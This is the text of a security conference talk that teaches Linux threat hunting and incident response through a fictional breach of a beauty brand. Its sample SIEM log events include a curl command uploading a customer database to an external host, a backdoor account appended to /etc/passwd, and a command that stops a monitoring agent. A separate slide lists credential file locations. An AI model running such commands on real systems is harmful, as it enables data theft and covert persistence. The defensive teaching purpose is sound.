1 of 56

CONFESSIONS OF A LINUX DRAMA QUEEN

WHEN HACKERS ARE TOTALLY RUINING YOUR LIFE

By Melina Phillips

2 of 56

ABOUT

ME

Offensive Security Engineer.

Bachelor’s Degree in Computer Systems Engineering.

Bsides DFW, Bsides Cambridge, Security Fest, BruCon and LeHack.

SSCP, CISSP, eJPT, Splunk Core User, AZ-900, PNPT, Pentest+, PJWT.

My favorite video game is Zombies Ate My Neighbors.

3 of 56

WAIT, WHAT ARE WE DOING HERE?

4 of 56

Linux Drama Queen

Life In Blue

Keep your correlation searches in check, with style and sanity.

SOS my SIEM died!

Exploring cool alternatives.

Getting the�DIRTY DETAILS

What your logs really say about your last incident.

When vintage isn’t always cool

Surviving legacy systems and accepting risk.

Across the Pond

VM snapshots, backups, comfy outfits and packing for that one con you’ve been stressing about.

50+

HOTTEST !

Linux commands for post exploitation

Why security Controls are like skincare.

Maturity and consistency matter.

5 of 56

BEAUTY, BREACHES AND

BASH HISTORY

How attackers turn beauty brands into entry points

6 of 56

WHY ARE THEY A TARGET?

  • High volumes of PII and payment data.�
  • Loyalty programs.�
  • Exposed APIs for E-commerce platforms.�
  • Weak backend security behind aesthetically appealing frontends.�
  • Influencer integrations and third party risks.�
  • Brand reputation pressure leads to ransom payouts.

7 of 56

IT’S NOT JUST DATA

  • Attackers don’t just want your passwords.

  • Photos = Authenticity tokens (lingerie, bathing suits, outfits). Those can become tools for social engineering.

Credentials give them access; your images make them believable.

8 of 56

LOGS ARE A GIRL’S BEST FRIEND

What logs do we need to detect an intrusion?

Diamonds might be forever but

9 of 56

NETWORK

APPLICATION

ENDPOINT LOGS

THREAT INTEL FEEDS

GOOD DETECTION STARTS WITH LOGS

  • PERIMETER DEVICE
  • DNS LOGS
  • ROUTER/SWITCHES
  • NETFLOWS

  • WEB SERVER
  • DATABASE LOGS
  • CONTAINER LOGS

  • ENDPOINT THREAT DETECTION
  • FILE INTEGRITY
  • BEHAVIORAL ANALYTICS

  • THREAT INTELLIGENCE FEEDS
  • THREAT HUNTING ALERTS

10 of 56

Detecting malicious activity without an XDR

CATCH 22: WHO WATCHES THE WATCHER?

11 of 56

WEAPONIZING YOUR XDR

Real Time Response allows the execution of adaptable scripts, enabling automated execution of advanced commands.

  • Gather information about a host.
  • Deploy malicious files or modify settings.
  • Use the sensor as a C2 channel.

12 of 56

NO EDR / XDR?

NO PROBLEM!

SIEM LOGS

NETWORK DETECTION AND RESPONSE (NDR)

DECEPTION TECHNOLOGIES

ALTERNATIVE TELEMETRY

EDR, authentication, syslogs, gaps in log forwarding.

Lateral movement, unusual traffic patterns or data exfiltration.

The bait you intentionally leave out.

Tools like velociraptor and osquery.

Actually, this could be a problem but we gotta find a way to make do!

13 of 56

14 of 56

15 of 56

How did this even happen?

SETTING UP THE �STAGE

16 of 56

BlushLuxe Beauty

Beauty for the digital era

17 of 56

The BlushLuxe Beauty Counter allowed customers to schedule appointments online. However, the application suffered from broken access controls: �

  • Authenticated users could manipulate parameters to access admin level upload functionalities not intended for them. �
  • By exploiting this flaw, attackers uploaded a malicious file to the server, gaining initial access

18 of 56

ROLE

IP ADDRESS (PUBLIC)

IP ADDRESS (INTERNAL)

BlushLuxe Web Server

203.0.113.45

10.20.5.25

Bad Guy

198.51.100.200

19 of 56

  • Phase 1: Initial Reconnaissance.

  • Phase 2: Gaining Valid Credentials.

  • Phase 3: Exploiting Broken Access Control (IDOR).

  • Phase 4: Uploading Malicious Payload.

  • Phase 5: Gaining Remote Shell Access

2023 Verizon DBIR (Data Breach Investigation Report) says: "The most common action after gaining unauthorized access is uploading malicious content (e.g., webshells) to maintain persistent access."

20 of 56

While initially registering to schedule a beauty consultation,�the attacker created a standard customer account.

Whether scheduling an appointment, making a purchase, or updating personal information,�BlushLuxe relied on a shared customer account system.

21 of 56

Valid session credentials revealed the role_id field.

22 of 56

23 of 56

24 of 56

You can customize them with your essentials!

XDRs ARE LIKE A BEAUTY BAG

25 of 56

26 of 56

27 of 56

Asking all the good questions

TIME TO GET �NOSEY!

28 of 56

INTERSTING FILE LOCATIONS

  • Users and Credentials:
  • /etc/passwd
  • /etc/shadow
  • ~/.bash_history, ~/.zsh_history
  • ~/.ssh/id_rsa, id_ed25519
  • /home/*/.ssh/authorized_keys

  • Execution History:
  • /var/log/auth.log
  • /var/log/syslog
  • /var/log/bash.log
  • /root/.bash_history
  • Lateral Movement:
  • /var/etc/hosts
  • /etc/resolv.conf
  • /etc/ssh/sshd_config
  • /home/*/.ssh/known_hosts
  • Malicious Implants:
  • /tmp/*, /dev/shm/*, /var/tmp/
  • /etc/ld.so.preload
  • /usr/local/bin/*
  • /etc/systemd/system/*.service
  • /etc/cron.d/*, /var/spool/cron/

29 of 56

Visualizing adversarial activity

GETTING OUR HANDS DIRTY

30 of 56

HIGH RISK FOLDERS

Unauthorized access or modifications to these directories can compromise security and data integrity.

1

2

/tmp

/var

Attackers love it because it’s world writeable, often ignored by admins and cleared on reboot.

Files that change size or content during daily operations, such as logs or spool files. Perfect location for attackers to hide their tools inside expected directories to blend in.

3

/usr/local

Commonly used by system administrators when installing software locally. An attacker could insert their binaries to escalate privileges or gained unauthorized access.

  • Log Tampering:

/var/log/apache2/access.log

/usr/local/lib/python3.9/site-packages/.backdoor_module.py

  • Persistence

31 of 56

{

"@timestamp": "2025-06-07T18:09:22.347Z",

"event": {

"action": "modified",

"category": "file"

},

"host": {

"hostname": "blushluxe-prod-web01"

},

"user": {

"name": "apache"

},

"process": {

"name": "bash",

"command_line": "echo ' XPL017-VPN4PPL:x:1001:1001::/home/XPL017-VPN4PPL:/bin/bash' >> /etc/passwd"

},

"file": {

"path": "/etc/passwd"

},

"message": "/etc/passwd modified by apache using bash",

"tags": ["persistence", "filemod"]

}

32 of 56

33 of 56

When compromise is suspected, /var/log/syslog becomes your backstage pass to what the system was doing behind the scenes.

1

2

Unusual service starts/stops.

Repeated failed logins or sudo misuse.

  • grep "Started\|Stopped" /var/log/syslog
  • grep "Failed password" /var/log/syslog

3

4

Suspicious cron activity.

Kernel warnings or system level errors.

  • grep -i "error\|warn" /var/log/syslog
  • grep CRON /var/log/syslog

5

Hunting for compromise time windows

  • less +/timestamp /var/log/syslog

EVENT LOGS

34 of 56

{

"@timestamp": "2025-06-07T17:42:55.829Z",

"event": {

"category": "process",

"type": "stop",

"action": "service_stop"

},

"host": {

"hostname": "blushluxe-prod-web01",

"ip": "10.20.5.25"

},

"user": {

"name": "XPL017-VPN4PPL"

},

"process": {

"name": "systemctl",

"pid": 4129,

"executable": "/bin/systemctl",

"command_line": "systemctl stop wazuh-agent.service"

},

"message": "Service wazuh-agent stopped by user XPL017-VPN4PPL on host blushluxe-web01.",

}

35 of 56

SHELL HISTORY

Bash history function is designed to keep a record of a user’s past 500 commands on the system.

If an attacker has access to a user’s bash history, they could search through it and potentially find credentials.

1

2

Covering tracks

Internal recon

Once they gained access, attackers disable logging or erase bash history to hide evidence.

.bash_history reveal information about file paths or potential misconfigurations.

3

Previously run commands

Attackers look for useful previous commands (e.g. wget, curl, SSH) they can re-run or modify for lateral movement or privilege escalation.

36 of 56

37 of 56

NEW SERVICES

Attackers often create new services or modify existing ones to execute code, achieve persistence or avoid detection.

1

2

Code execution

Defense evasion

Systemd service could be used to execute malicious scripts and potentially turn the system into a command and control server.

Attackers can create customized services that wipe existing logs or evade EDR detections.

3

4

Persistence

Malicious services can be set up to automatically restart on boot, helping attackers keep long term access.

Privilege escalation

Gaining elevated access or running commands as a privileged user.

38 of 56

OKAY BUT HOW DO I EVEN SPOT A FAKE SERVICE

1

2

Naming convention

Service names

Modern Linux distros user systemd for service management and define them in unit files (.service).

They typically correspond to commonly known applications or utilities (e.g OpenVPN.service, kibana.service).

3

Investigate processes

  • ps –ef or ps aux: Lists all processes.
  • lsof –i <port> : Identifies which processes are using a specific port.
  • netstat –an: Lists all network connections.

4

Monitor logs

Identify suspicious activity such as unknown processes, unusual traffic and port usage, failed login attempts and unusual commands.

39 of 56

40 of 56

GEOLOCATION AND SUSPICIOUS IPs

Geolocation helps identify suspicious IPs associated with malicious activities, proxies or VPNs. It can also assist to identify login attempts from unauthorized or suspicious locations.

1

2

Anomalous behavior

Known IOCs

  • Unusual network activity.
  • Unusual DNS queries.
  • Unexpected user activity.
  • IP addresses
  • Hash values
  • Domains or URLs.

3

4

Indicators of data exfil.

Repeated or unsuccessful actions

  • Authentication failures.
  • File access attempts.
  • Large outbound transfers

5

Suspicious network connections in processes

  • Processes associated with network connections.

41 of 56

42 of 56

43 of 56

{

"@timestamp": "2025-05-26T13:45:30.967Z",

"severity": "CRITICAL",

"detection_name": "Suspicious Data Transfer to Foreign Host",

"message": "Unusual outbound data stream detected: ~412MB transferred to external host 'http:// downloadram4free.com' over HTTP from 'blushluxe-prod-web01'.",

"source_ip": "10.10.5.25",

"source_hostname": "blx-backup-aws-03",

"user": "XLP017-VPN4PPL",

"process_name": "curl",

"command_line": "curl -T /mnt/share/customer_info-6.db http://downloadram4free.com/upload",

"geoip": {

"ip": "89.34.222.113",

"country_name": "Belgium",

"region_name": "Limburg",

"city_name": "Tessenderlo-Ham"

},

"file_exfiltrated": "customer_info-6.db",

"data_volume_MB": 412.4,

"confidence_score": 98,

"mitre_technique": "T1048.003 – Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"

}

44 of 56

Attackers may load or hide kernel modules to gain elevates privileges or tamper with system monitoring tools.

1

2

Unusual Timestamps

Unexpected of Unfamiliar modules

  • Unusual activity after boot could signal tampering.
  • Check module load times.
  • Use lsmod to list loaded modules.

3

4

Hidden or Malicious Modules.

Unstable Kernel

  • Modules causing system errors.
  • Use tools like modprobe –l or rmod.

5

Audit Logs and Alerts

  • Check /var/log/kern.log or dsmeg.

KERNEL MODULES

45 of 56

46 of 56

Organizations work with these tools to manage assets, apply updates and deploy applications .

1

2

Unusual/generic RMM agents

RMM ports exposed externally

  • Unusual RMM agents on Linux hosts (e.g., cockpit-ws, remote_admin.service).
  • For example, 9090 for cockpit.

3

4

Scripts masquerading as admin automation

Audit logs showing remote sessions

  • Suspicious time windows, external IPs.
  • Unexpected outbound traffic.
  • Unusual behavior on known tools.

RMM ABUSE

  • Cross Platform:
  • Ninja One
  • Atera
  • ConnectWise Automate
  • Kaseya VSA
  • Linux Native / RMM Adjacent:
  • Cockpit: Lightweight GUI for server management.
  • Zabbix / Nagios: Not exactly RMM, but can monitor, alert, and run remote commands.
  • Canonical Landscape: For Ubuntu fleet management.

47 of 56

48 of 56

49 of 56

  • Phase 1: Initial Reconnaissance.�Information Disclosure via Web App.�WAF�SIEM correlation searches.

  • Phase 2: Gaining Valid Credentials.�Weak Authentication Mechanisms.

  • Phase 3: Exploiting Broken Access Control (IDOR).

Missing authorization checks.

Predictable object identifiers.

  • Phase 4: Uploading Malicious Payload.

Unrestricted file uploads.� No content type checking.

EDR Monitoring.

50 of 56

  • Phase 5: Gaining Remote Shell Access

No Outbound Egress Filtering.

  • Phase 6: Post CompromiseNo lateral movement detection or alerting.

Insecure storage of credentials.

51 of 56

TL ; DR

52 of 56

Initial Triage

System Recon

Network Config

Logs Review

Suspicious Artifacts

  • Verify cryptographic hash of disk image (if acquired) to ensure integrity.
  • Note system time and timezone settings (important for log correlation).
  • Review: /etc/passwd, /etc/shadow, /etc/sudoers, /etc/systemd/system/
  • systemctl list-unit-files --type=service
  • Review cron jobs: crontab –l, /etc/crontab, /etc/cron
  • Check /etc/hosts, /etc/resolv.conf, /etc/hostname.
  • Review firewall rules:
  • iptables -L -n -v (if saved pre-shutdown)
  • /etc/iptables/*, / etc/ufw/*
  • /var/log/auth.log or /var/log/secure (SSH logins, sudo usage).
  • /var/log/syslog or /var/log/messages. Auditd
  • Any firewall logs
  • Application logs (Apache/Nginx access.log, mail logs, etc.).
  • Check /tmp, /var/tmp, /dev/shm for rogue binaries/scripts.
  • Look for hidden files.
  • Check bash history.

53 of 56

Installed Binaries

Network Activity

Memory (if RAM Image Exists)

  • Look for netcat, socat, nmap binaries (unexpected places = red flag).
  • Search for string patterns of IPs/Domains in scripts/configs:�grep -rE '(http|https|[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)' /etc /var /home
  • Check for suspicious and SUID/SGID binaries:find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \;
  • Verify binaries against known-good checksums (tripwire, debsums).
  • Run Volatility plugins:
    • linux_netstat
    • linux_pslist
    • linux_bash

54 of 56

FINAL THOUGHTS

55 of 56

FINAL THOUGHTS

Audit your logs regularly.

Automate where possible, but RESPONSIBLY!

Baseline, baseline, baseline.

Security is like skincare.

Test your security controls.

56 of 56

THANK

By Melina Phillips

YOU!

https://www.linkedin.com/in/melinaphillips-cissp

@tx_dfw_princess

CONNECT WITH ME!!